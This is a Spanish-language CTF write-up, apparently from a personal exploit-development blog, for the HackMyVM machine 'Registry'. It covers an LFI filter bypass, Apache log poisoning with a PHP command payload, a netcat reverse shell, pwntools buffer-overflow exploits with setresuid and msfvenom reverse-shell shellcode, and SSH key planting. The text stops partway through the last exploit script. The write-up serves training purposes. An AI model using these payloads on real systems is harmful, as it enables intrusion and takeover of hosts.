xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackMyVM

Registry



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos solo 2 puertos abiertos, donde corren los servicios ssh y http

❯ nmap 192.168.100.72
Nmap scan report for 192.168.100.72  
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

En la web principal encontramos un botón llamado Sign Up, el cual nos redirige a default.php, este lo gestiona desde el index.php con el parametro page por GET

Si probamos el tipico LFI para cargar el archivo /etc/passwd retrocediendo un par de directorios a la raiz con ../ no nos devuelve ningun contenido en la respuesta

❯ curl "http://192.168.100.72/index.php?page=../../../etc/passwd"  

Es posible que se este sanitizando por lo que se elimina el ../, al usar el bypass ....// nos carga el archivo correctamente y logramos leer el contenido del passwd

❯ curl "http://192.168.100.72/index.php?page=....//....//....//etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin  
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
gato:x:1000:1000:gato:/home/gato:/bin/bash
uuidd:x:108:112::/run/uuidd:/usr/sbin/nologin
user:x:1001:1001::/home/user:/bin/bash
cxdxnt:x:1002:1002::/home/cxdxnt:/bin/bash


Shell - www-data


A través del LFI tambien logramos leer el contenido del archivo access.log el cual pertenece apache y en el se guardan logs de las peticiones hechas a la web

❯ curl "http://192.168.100.72/index.php?page=....//....//....//var/log/apache2/access.log"
192.168.100.70 - - "GET / HTTP/1.1" 200 6111 "-" "-"
192.168.100.70 - - "GET /index.php?page=default.php HTTP/1.1" 200 1692 "http://192.168.100.72/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"  
192.168.100.70 - - "GET /index.php?page=../../../etc/passwd HTTP/1.1" 200 147 "-" "curl/7.88.1"
192.168.100.70 - - "GET /index.php?page=....//....//....//etc/passwd HTTP/1.1" 200 1729 "-" "curl/7.88.1"

Podemos envenenar el archivo de logs y a traves del User Agent inyectar un php para ejecutar comandos y ya que lo cargamos desde la web este se interpretara

❯ curl "http://192.168.100.72/" -A "<?php system(\$_REQUEST['cmd']); ?>"  

Al hacer una peticion al access.log se interpreta el php por lo que si en el parametro cmd enviamos el comando id este se ejecutara en el sistema como www-data

❯ curl "http://192.168.100.72/index.php?page=....//....//....//var/log/apache2/access.log" -d "cmd=id"
192.168.100.70 - - "GET / HTTP/1.1" 200 6111 "-" "-"
192.168.100.70 - - "GET /index.php?page=default.php HTTP/1.1" 200 1692 "http://192.168.100.72/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"  
192.168.100.70 - - "GET /index.php?page=../../../etc/passwd HTTP/1.1" 200 147 "-" "curl/7.88.1"
192.168.100.70 - - "GET /index.php?page=....//....//....//etc/passwd HTTP/1.1" 200 1729 "-" "curl/7.88.1"
192.168.100.70 - - "GET /index.php?page=....//....//....//var/log/apache2/access.log HTTP/1.1" 200 28320 "-" "curl/7.88.1"
192.168.100.70 - - "GET / HTTP/1.1" 200 6111 "-" "uid=33(www-data) gid=33(www-data) groups=33(www-data)"

Ya que ejecutamos comandos basta con cambiar el contenido del parametro cmd por un comando de netcat que nos envie una bash para asi enviarnos una reverse shell

❯ curl "http://192.168.100.72/index.php?page=....//....//....//var/log/apache2/access.log" -d "cmd=netcat -e /bin/bash 192.168.100.70 443"  

Al hacerlo recibimos una shell como el usuario www-data en la maquina victima

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.72
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@registry:~/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
www-data@registry:~/html$ hostname -I
192.168.100.72 
www-data@registry:~/html$


Shell - cxdxnt


Buscando binarios que tengan asignados privilegios suid encontramos uno que destaca y es el binario llamado program, el cual pertenece al usuario cxdxnt

www-data@registry:~$ find / -perm -u+s 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/bin/gpasswd
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/umount
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/mount
/usr/libexec/polkit-agent-helper-1
/opt/others/program
www-data@registry:~$ ls -l /opt/others/program
-rwsr-xr-x 1 cxdxnt cxdxnt 15976 Jul 24 03:44 /opt/others/program  
www-data@registry:~$

Al ejecutar el binarios nos pide que le pasemos como argumento un nombre, sin embargo al pasarle el argumento no parece hacer nada realmente interesante

www-data@registry:~$ /opt/others/program
Usage: /opt/others/program <name>
www-data@registry:~$ /opt/others/program name  
www-data@registry:~$

Podemos pasar el compilado a nuestra maquina y abrirlo con ida para asi decompilarlo y ver su codigo en C para entender exactamente su funcionamiento

En realidad es bastante simple, la función main comprueba que se reciba un argumento, si la condicion se cumple llama a la funcion vuln() con el argumento

int __fastcall main(int argc, const char **argv, const char **envp)  
{
  if ( argc > 1 )
    return (unsigned int)vuln(argv[1]);
  else
    return printf("Usage: %s <name>\n", *argv);
}

La funcion vuln define un buffer para la variable buffer para despues ejecutar la funcion strcpy pasandole como argumentos la variable y el buffer definido

char *__fastcall vuln(const char *param_1)
{
  char buffer[128]; // [rsp+10h] [rbp-80h] BYREF  

  return strcpy(buffer, param_1);
}

Sabemos que la funcion strcpy es conocida por ser vulnerable, pero ademas este no tiene ninguna proteccion lo que facilita su explotacion de un buffer overflow

❯ checksec /opt/others/program  
[*] '/home/kali/program'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

Podemos abrir el programa con gdb y agregarle un argumento de 150 caracteres especialmente diseñados para encontrar el offset, despues corremos el programa

❯ gdb -q program
Reading symbols from program...
(No debugging symbols found in program)
pwndbg> cyclic 150
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa
pwndbg> run aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa
Starting program: /home/kali/program aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa  
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x00000000004011d9 in vuln ()
pwndbg>

Lo primero sera buscar el offset, que es la cantidad de bytes necesarios antes de sobreescribir el registro puntero que espera una instruccion, en este caso son 136

pwndbg> x/gx $rsp
0x7fffffffe4b8:	0x6161616161616172
pwndbg> cyclic -l 0x6161616161616172
Finding cyclic pattern of 8 bytes: b'raaaaaaa' (hex: 0x7261616161616161)  
Found at offset 136
pwndbg>

Podemos buscar algunos gadgets, en este caso encontramos 3 instrucciones de las cuales 2 hacen un jmp y la otra simplemente un call, todo esto al registro RAX

❯ ropper --file program --jmp rax  

JMP Instructions
================

0x0000000000401014: call rax;
0x00000000004010cc: jmp rax;
0x000000000040110e: jmp rax;

3 gadgets found

Nuestro payload sera el siguiente, iniciamos por un shellcode en x64 que ejecute una /bin/sh, despues rellenamos con A's hasta llegar al RIP y hacemos que este apunte a la direccion de la intrucción call rax, esta instruccion interpretara el registro rax donde esta el inicio de nuestro input y ejecutara nuestro shellcode

Definimos toda la idea anterior en un script de python ayudandonos de las pwntools

#!/usr/bin/python3
from pwn import *

offset = 136

shellcode = asm(shellcraft.amd64.sh(), arch="amd64")  

junk = b"A" * (offset - len(shellcode))

callrax = p32(0x401014)

payload = shellcode + junk + callrax

shell = process(["/opt/others/program", payload])
shell.interactive()

Sin embargo al ejecutar el script este nos devuelve una shell pero como el usuario www-data, esto es porque en ningun momento el compilado ejecuta un setuid()

www-data@registry:~$ python3 exploit.py 
[+] Starting local process '/opt/others/program': pid 1044  
[*] Switching to interactive mode
$ whoami
www-data
$

El identificador del usuario cxdxnt que es propietario del binario es el id 1002

www-data@registry:~$ id cxdxnt
uid=1002(cxdxnt) gid=1002(cxdxnt) groups=1002(cxdxnt)  
www-data@registry:~$

Al shellcode del script podemos agregar un setresuid a 1002 antes de /bin/sh para de esta manera ajustar nuestro id y que la shell nos la devuelva como cxdxnt

#!/usr/bin/python3
from pwn import *

offset = 136

shellcode  = b""
shellcode += asm(shellcraft.amd64.setresuid(1002, 1002), arch="amd64")  
shellcode += asm(shellcraft.amd64.sh(), arch="amd64")

junk = b"A" * (offset - len(shellcode))

callrax = p32(0x401014)

payload = shellcode + junk + callrax

shell = process(["/opt/others/program", payload])
shell.interactive()

Al ejecutarlo nos otorga una sh como cxdxnt donde podemos leer la primera flag

www-data@registry:~$ python3 exploit.py 
[+] Starting local process '/opt/others/program': pid 1044  
[*] Switching to interactive mode
$ whoami
cxdxnt
$ hostname -I
192.168.100.72 
$ cat /home/cxdxnt/user.txt
REGISTRY{4R3_Y0U_R34D1N6_MY_F1L35?}
$

Para mejorar la shell podemos enviar nuestra id_rsa.pub como authorized_keys del usuario para de esta manera conectarnos por ssh sin proporcionar contraseña

$ mkdir /home/cxdxnt/.ssh
$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOChqNfHuH3wAgahGKW0RarFeScPycw5i9gJsIjvDWWS kali@kali" > /home/cxdxnt/.ssh/authorized_keys  
$

❯ ssh cxdxnt@192.168.100.72
cxdxnt@registry:~$ id
uid=1002(cxdxnt) gid=1002(cxdxnt) groups=1002(cxdxnt)  
cxdxnt@registry:~$ hostname -I
192.168.100.72 
cxdxnt@registry:~$ cat user.txt 
REGISTRY{4R3_Y0U_R34D1N6_MY_F1L35?}
cxdxnt@registry:~$


Shell - gato


A nivel de sudoers el usuario cxdxnt puede ejecutar wine como el usuario gato pasandole como argumento el binario MyFirstProgram.exe sin contraseña

cxdxnt@registry:~$ sudo -l
Matching Defaults entries for cxdxnt on registry:
   secure_path=/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin  

User cxdxnt may run the following commands on registry:
    (gato : gato) NOPASSWD: /usr/bin/wine /opt/projects/MyFirstProgram.exe
cxdxnt@registry:~$

Primero descargaremos el archivo MyFirstProgram.exe en nuestro equipo y despues de instalar el paquete wine32 para poder ejecutar el programa lo corremos

❯ wine MyFirstProgram.exe
[+] Listening for connections.  

Despues de ejecutarlo se nos abre el puerto 42424 donde espera una conexion

❯ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:42424           0.0.0.0:*               LISTEN  

Nos conectamos y enviamos una cadena de texto, lo unico que devuelve es ERROR

❯ netcat 127.0.0.1 42424  
testing
ERROR testing...

Del lado del exe simplemente muestra la cantidad de bytes recibidos y enviados

❯ wine MyFirstProgram.exe
[+] Listening for connections.
Received connection from remote host.
Connection handed off to handler thread.  
Bytes received: 8
Bytes sent: 17

Ya que anteriormente explotamos un Buffer Overflow podemos enviar varias veces la A para intentar sobreescribir registros para ver si es vulnerable y se corrompe

❯ netcat 127.0.0.1 42424
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  

Volvemos al exe y podemos ver que el programa se corrompe ya que el puntero se ha sobreescrito y no sabe que hacer cuando se apunta a la direccion 0x41414141

❯ wine MyFirstProgram.exe
[+] Listening for connections.
Received connection from remote host.
Connection handed off to handler thread.
Bytes received: 151
send failed: 10038
wine: Unhandled page fault on read access to 41414141 at address 41414141 (thread 010c), starting debugger...  
Unhandled exception: page fault on read access to 0x41414141 in 32-bit code (0x41414141).
Register dump:
 CS:0023 SS:002b DS:002b ES:002b FS:006b GS:0063
 EIP:41414141 ESP:00d319a4 EBP:41414141 EFLAGS:00010286(  R- --  I S - -P- )
 EAX:ffffffff EBX:00344e20 ECX:00d31904 EDX:00000008
 ESI:00a204d0 EDI:00000000
Stack dump:
0x00d319a4:  0a2e2e2e 00d31900 41414141 41414141
0x00d319b4:  41414141 41414141 41414141 41414141
0x00d319c4:  41414141 41414141 41414141 41414141
0x00d319d4:  41414141 41414141 41414141 41414141
0x00d319e4:  41414141 41414141 41414141 41414141
0x00d319f4:  41414141 41414141 41414141 41414141
Backtrace:
=>0 0x41414141 (0x41414141)
0x41414141: -- no code accessible --

Podemos usar una version modificada para binarios de windows de checksec para ver las protecciones del binario, sin embargo no tiene ninguna de ellas habilitada

❯ python3 checksec.py MyFirstProgram.exe  
[*] '/home/kali/MyFirstProgram.exe'
    ASLR:              False
    SafeSEH:           False
    DEP:               False
    ControlFlowGuard:  False
    HighEntropyVA:     False

Para explotar el Buffer Overflow hay muchas formas, en este caso lo haremos con winedbg incluido con wine32 y la extension pwndbg para gdb solo por comodidad

❯ winedbg --gdb MyFirstProgram.exe
Reading symbols from /home/kali/MyFirstProgram.exe...
(No debugging symbols found in /home/kali/MyFirstProgram.exe)
0x7bc565b1 in DbgBreakPoint@0 () from /home/kali/.wine/dosdevices/c:/windows/system32/ntdll.dll  
Wine-gdb>

Una vez abierto el programa con winedbg simplemente continuamos el programa

Wine-gdb> continue
Continuing.

Podemos crear un script en python el cual enviara un patron especial de 150 caracteres para poder buscar el offset cuando corrompe al puerto local 42424

#!/usr/bin/python3
from pwn import remote, cyclic

payload = cyclic(150)

shell = remote("127.0.0.1", 42424)
shell.sendline(payload)
shell.close()

Al ejecutar el script este envia la data al programa y que se corrompe en winedbg

❯ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 42424: Done  
[*] Closed connection to 127.0.0.1 port 42424

Wine-gdb> continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.  
0x616d6261 in ?? ()
Wine-gdb>

Solo nos queda calcular el offset el cual son los bytes necesarios antes de sobreescribir el registro EIP osea el puntero, en este caso son solo 146 bytes

Wine-gdb> cyclic -l $eip
Finding cyclic pattern of 4 bytes: b'abma' (hex: 0x61626d61)  
Found at offset 146
Wine-gdb>

Tenemos el offset, modificamos el script para enviar A's hasta llegar al offset y en el registro EIP enviaremos 4 B's por lo que el puntero deberia ser 0x42424242

#!/usr/bin/python3
from pwn import remote

offset = 146
junk = b"A" * offset

eip = b"B" * 4

payload = junk + eip

shell = remote("127.0.0.1", 42424)  
shell.sendline(payload)
shell.close()

Al ejecutar el script el programa nuevamente corrompe pero esta vez el EIP es 0x42424242 que equivale a nuestras B's quiere decir que controlamos el puntero

❯ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 42424: Done  
[*] Closed connection to 127.0.0.1 port 42424

Wine-gdb> continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.  
0x42424242 in ?? ()
Wine-gdb>

Para detectar badchars al script agregaremos todos los posibles bytes desde 0x00 hasta 0xff despues del puntero para verlos en la pila y ver su representacion

#!/usr/bin/python3
from pwn import remote

offset = 146
junk = b"A" * offset

eip = b"B" * 4

badchars = b""
badchars += b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"  
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"  
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

payload = junk + eip + badchars

shell = remote("127.0.0.1", 42424)
shell.sendline(payload)
shell.close()

Ejecutamos el script y nuevamente se detiene en 0x42424242 pero esta vez todos los posibles caracteres estan en la pila, asi que podemos ver su representacion

❯ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 42424: Done  
[*] Closed connection to 127.0.0.1 port 42424

Wine-gdb> continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.  
0x42424242 in ?? ()
Wine-gdb>

Despues de encotrar la direccion donde se almacenan los bytes los siguientes 256 son los posibles badchars, si son badchars estos estaran representados como 0x00

Wine-gdb> x/256bx 0xd31a42
0xd31a42:       0x00    0x01    0x02    0x03    0x04    0x05    0x06    0x07  
0xd31a4a:       0x08    0x09    0x00    0x0b    0x0c    0x0d    0x0e    0x0f  
0xd31a52:       0x10    0x11    0x12    0x13    0x14    0x15    0x16    0x17  
0xd31a5a:       0x18    0x19    0x1a    0x1b    0x1c    0x1d    0x1e    0x1f  
0xd31a62:       0x20    0x21    0x22    0x23    0x24    0x25    0x26    0x27  
0xd31a6a:       0x28    0x29    0x2a    0x2b    0x2c    0x2d    0x2e    0x2f  
0xd31a72:       0x30    0x31    0x32    0x33    0x34    0x35    0x36    0x37  
0xd31a7a:       0x38    0x39    0x3a    0x3b    0x3c    0x3d    0x3e    0x3f  
0xd31a82:       0x40    0x41    0x42    0x43    0x44    0x45    0x46    0x47  
0xd31a8a:       0x48    0x49    0x4a    0x4b    0x4c    0x4d    0x4e    0x4f  
0xd31a92:       0x50    0x51    0x52    0x53    0x54    0x55    0x56    0x57  
0xd31a9a:       0x58    0x59    0x5a    0x5b    0x5c    0x5d    0x5e    0x5f  
0xd31aa2:       0x60    0x61    0x62    0x63    0x64    0x65    0x66    0x67  
0xd31aaa:       0x68    0x69    0x6a    0x6b    0x6c    0x6d    0x6e    0x6f  
0xd31ab2:       0x70    0x71    0x72    0x73    0x74    0x75    0x76    0x77  
0xd31aba:       0x78    0x79    0x7a    0x7b    0x7c    0x7d    0x7e    0x7f  
0xd31ac2:       0x80    0x81    0x82    0x83    0x84    0x85    0x86    0x87  
0xd31aca:       0x88    0x89    0x8a    0x8b    0x8c    0x8d    0x8e    0x8f  
0xd31ad2:       0x90    0x91    0x92    0x93    0x94    0x95    0x96    0x97  
0xd31ada:       0x98    0x99    0x9a    0x9b    0x9c    0x9d    0x9e    0x9f  
0xd31ae2:       0xa0    0xa1    0xa2    0xa3    0xa4    0xa5    0xa6    0xa7  
0xd31aea:       0xa8    0xa9    0xaa    0xab    0xac    0xad    0xae    0xaf  
0xd31af2:       0xb0    0xb1    0xb2    0xb3    0xb4    0xb5    0xb6    0xb7  
0xd31afa:       0xb8    0xb9    0xba    0xbb    0xbc    0xbd    0xbe    0xbf  
0xd31b02:       0xc0    0xc1    0xc2    0xc3    0xc4    0xc5    0xc6    0xc7  
0xd31b0a:       0xc8    0xc9    0xca    0xcb    0xcc    0xcd    0xce    0xcf  
0xd31b12:       0xd0    0xd1    0xd2    0xd3    0xd4    0xd5    0xd6    0xd7  
0xd31b1a:       0xd8    0xd9    0xda    0xdb    0xdc    0xdd    0xde    0xdf  
0xd31b22:       0xe0    0xe1    0xe2    0xe3    0xe4    0xe5    0xe6    0xe7  
0xd31b2a:       0xe8    0xe9    0xea    0xeb    0xec    0xed    0xee    0xef  
0xd31b32:       0xf0    0xf1    0xf2    0xf3    0xf4    0xf5    0xf6    0xf7  
0xd31b3a:       0xf8    0xf9    0xfa    0xfb    0xfc    0xfd    0xfe    0xff  
Wine-gdb>

En este caso vemos representados 2, el primer 0x00 del inicio de los caracteres y la segunda esta justo antes de 0x0b por lo que deberia ser 0x0a, al representarse asi quiere decir que no se interpreta correctamente, los badchars son 0x00 y 0x0a

Wine-gdb> x/4bx 0xd31a42
0xd31a42:       0x00    0x01    0x02    0x03  
Wine-gdb> x/4bx 0xd31a4c
0xd31a4c:       0x00    0x0b    0x0c    0x0d  
Wine-gdb>

Con ropper buscamos una direccion que nos ejecute la instruccion JMP ESP

❯ ropper --file MyFirstProgram.exe --search "jmp esp;"  
[INFO] Load gadgets for section: .text
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: jmp esp;

[INFO] File: MyFirstProgram.exe
0x080414c3: jmp esp;

Finalmente con msfvenom creamos un shellcode el cual nos envie una revshell, sin embargo como vimos en la maquina Brainpan 1 el encoder shikata_ga_nai nos dara problemas asi que usaremos jmp_call_additive para evitar los problemas

❯ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.70 LPORT=443 EXITFUNC=thread -b '\x00\x0a' -f python -v shellcode -e x86/jmp_call_additive  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353 (iteration=0)
x86/jmp_call_additive chosen with final size 353
Payload size: 353 bytes
Final size of python file: 1990 bytes
shellcode =  b""
shellcode += b"\xfc\xbb\xd2\x6e\xc9\x22\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x2e\x86\x4b\x22\xce\x57\x2c\xaa"
shellcode += b"\x2b\x66\x6c\xc8\x38\xd9\x5c\x9a\x6c\xd6\x17"
shellcode += b"\xce\x84\x6d\x55\xc7\xab\xc6\xd0\x31\x82\xd7"
shellcode += b"\x49\x01\x85\x5b\x90\x56\x65\x65\x5b\xab\x64"
shellcode += b"\xa2\x86\x46\x34\x7b\xcc\xf5\xa8\x08\x98\xc5"
shellcode += b"\x43\x42\x0c\x4e\xb0\x13\x2f\x7f\x67\x2f\x76"
shellcode += b"\x5f\x86\xfc\x02\xd6\x90\xe1\x2f\xa0\x2b\xd1"
shellcode += b"\xc4\x33\xfd\x2b\x24\x9f\xc0\x83\xd7\xe1\x05"
shellcode += b"\x23\x08\x94\x7f\x57\xb5\xaf\x44\x25\x61\x25"
shellcode += b"\x5e\x8d\xe2\x9d\xba\x2f\x26\x7b\x49\x23\x83"
shellcode += b"\x0f\x15\x20\x12\xc3\x2e\x5c\x9f\xe2\xe0\xd4"
shellcode += b"\xdb\xc0\x24\xbc\xb8\x69\x7d\x18\x6e\x95\x9d"
shellcode += b"\xc3\xcf\x33\xd6\xee\x04\x4e\xb5\x66\xe8\x63"
shellcode += b"\x45\x77\x66\xf3\x36\x45\x29\xaf\xd0\xe5\xa2"
shellcode += b"\x69\x27\x09\x99\xce\xb7\xf4\x22\x2f\x9e\x32"
shellcode += b"\x76\x7f\x88\x93\xf7\x14\x48\x1b\x22\xba\x18"
shellcode += b"\xb3\x9d\x7b\xc8\x73\x4e\x14\x02\x7c\xb1\x04"
shellcode += b"\x2d\x56\xda\xaf\xd4\x31\x25\x87\xb2\x87\xcd"
shellcode += b"\xda\x3a\x09\xb5\x52\xdc\x63\xd9\x32\x77\x1c"
shellcode += b"\x40\x1f\x03\xbd\x8d\xb5\x6e\xfd\x06\x3a\x8f"
shellcode += b"\xb0\xee\x37\x83\x25\x1f\x02\xf9\xe0\x20\xb8"
shellcode += b"\x95\x6f\xb2\x27\x65\xf9\xaf\xff\x32\xae\x1e"
shellcode += b"\xf6\xd6\x42\x38\xa0\xc4\x9e\xdc\x8b\x4c\x45"
shellcode += b"\x1d\x15\x4d\x08\x19\x31\x5d\xd4\xa2\x7d\x09"
shellcode += b"\x88\xf4\x2b\xe7\x6e\xaf\x9d\x51\x39\x1c\x74"
shellcode += b"\x35\xbc\x6e\x47\x43\xc1\xba\x31\xab\x70\x13"
shellcode += b"\x04\xd4\xbd\xf3\x80\xad\xa3\x63\x6e\x64\x60"
shellcode += b"\x83\x8d\xac\x9d\x2c\x08\x25\x1c\x31\xab\x90"
shellcode += b"\x63\x4c\x28\x10\x1c\xab\x30\x51\x19\xf7\xf6"
shellcode += b"\x8a\x53\x68\x93\xac\xc0\x89\xb6\xac\xe6\x75"
shellcode += b"\x39"

Ahora definimos nuestro payload en el script de python donde rellenaremos con A's hasta llegar al EIP, y haremos un JMP ESP donde ejecutaremos el shellcode

#!/usr/bin/python3
from pwn import remote, p32

offset = 146
junk = b"A" * offset

jmpesp = p32(0x080414c3)

shellcode =  b""
shellcode += b"\xfc\xbb\xd2\x6e\xc9\x22\xeb\x0c\x5e\x56\x31"  
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"  
shellcode += b"\xff\xff\xff\x2e\x86\x4b\x22\xce\x57\x2c\xaa"  
shellcode += b"\x2b\x66\x6c\xc8\x38\xd9\x5c\x9a\x6c\xd6\x17"  
shellcode += b"\xce\x84\x6d\x55\xc7\xab\xc6\xd0\x31\x82\xd7"  
shellcode += b"\x49\x01\x85\x5b\x90\x56\x65\x65\x5b\xab\x64"  
shellcode += b"\xa2\x86\x46\x34\x7b\xcc\xf5\xa8\x08\x98\xc5"  
shellcode += b"\x43\x42\x0c\x4e\xb0\x13\x2f\x7f\x67\x2f\x76"  
shellcode += b"\x5f\x86\xfc\x02\xd6\x90\xe1\x2f\xa0\x2b\xd1"  
shellcode += b"\xc4\x33\xfd\x2b\x24\x9f\xc0\x83\xd7\xe1\x05"  
shellcode += b"\x23\x08\x94\x7f\x57\xb5\xaf\x44\x25\x61\x25"  
shellcode += b"\x5e\x8d\xe2\x9d\xba\x2f\x26\x7b\x49\x23\x83"  
shellcode += b"\x0f\x15\x20\x12\xc3\x2e\x5c\x9f\xe2\xe0\xd4"  
shellcode += b"\xdb\xc0\x24\xbc\xb8\x69\x7d\x18\x6e\x95\x9d"  
shellcode += b"\xc3\xcf\x33\xd6\xee\x04\x4e\xb5\x66\xe8\x63"  
shellcode += b"\x45\x77\x66\xf3\x36\x45\x29\xaf\xd0\xe5\xa2"  
shellcode += b"\x69\x27\x09\x99\xce\xb7\xf4\x22\x2f\x9e\x32"  
shellcode += b"\x76\x7f\x88\x93\xf7\x14\x48\x1b\x22\xba\x18"  
shellcode += b"\xb3\x9d\x7b\xc8\x73\x4e\x14\x02\x7c\xb1\x04"  
shellcode += b"\x2d\x56\xda\xaf\xd4\x31\x25\x87\xb2\x87\xcd"  
shellcode += b"\xda\x3a\x09\xb5\x52\xdc\x63\xd9\x32\x77\x1c"  
shellcode += b"\x40\x1f\x03\xbd\x8d\xb5\x6e\xfd\x06\x3a\x8f"  
shellcode += b"\xb0\xee\x37\x83\x25\x1f\x02\xf9\xe0\x20\xb8"  
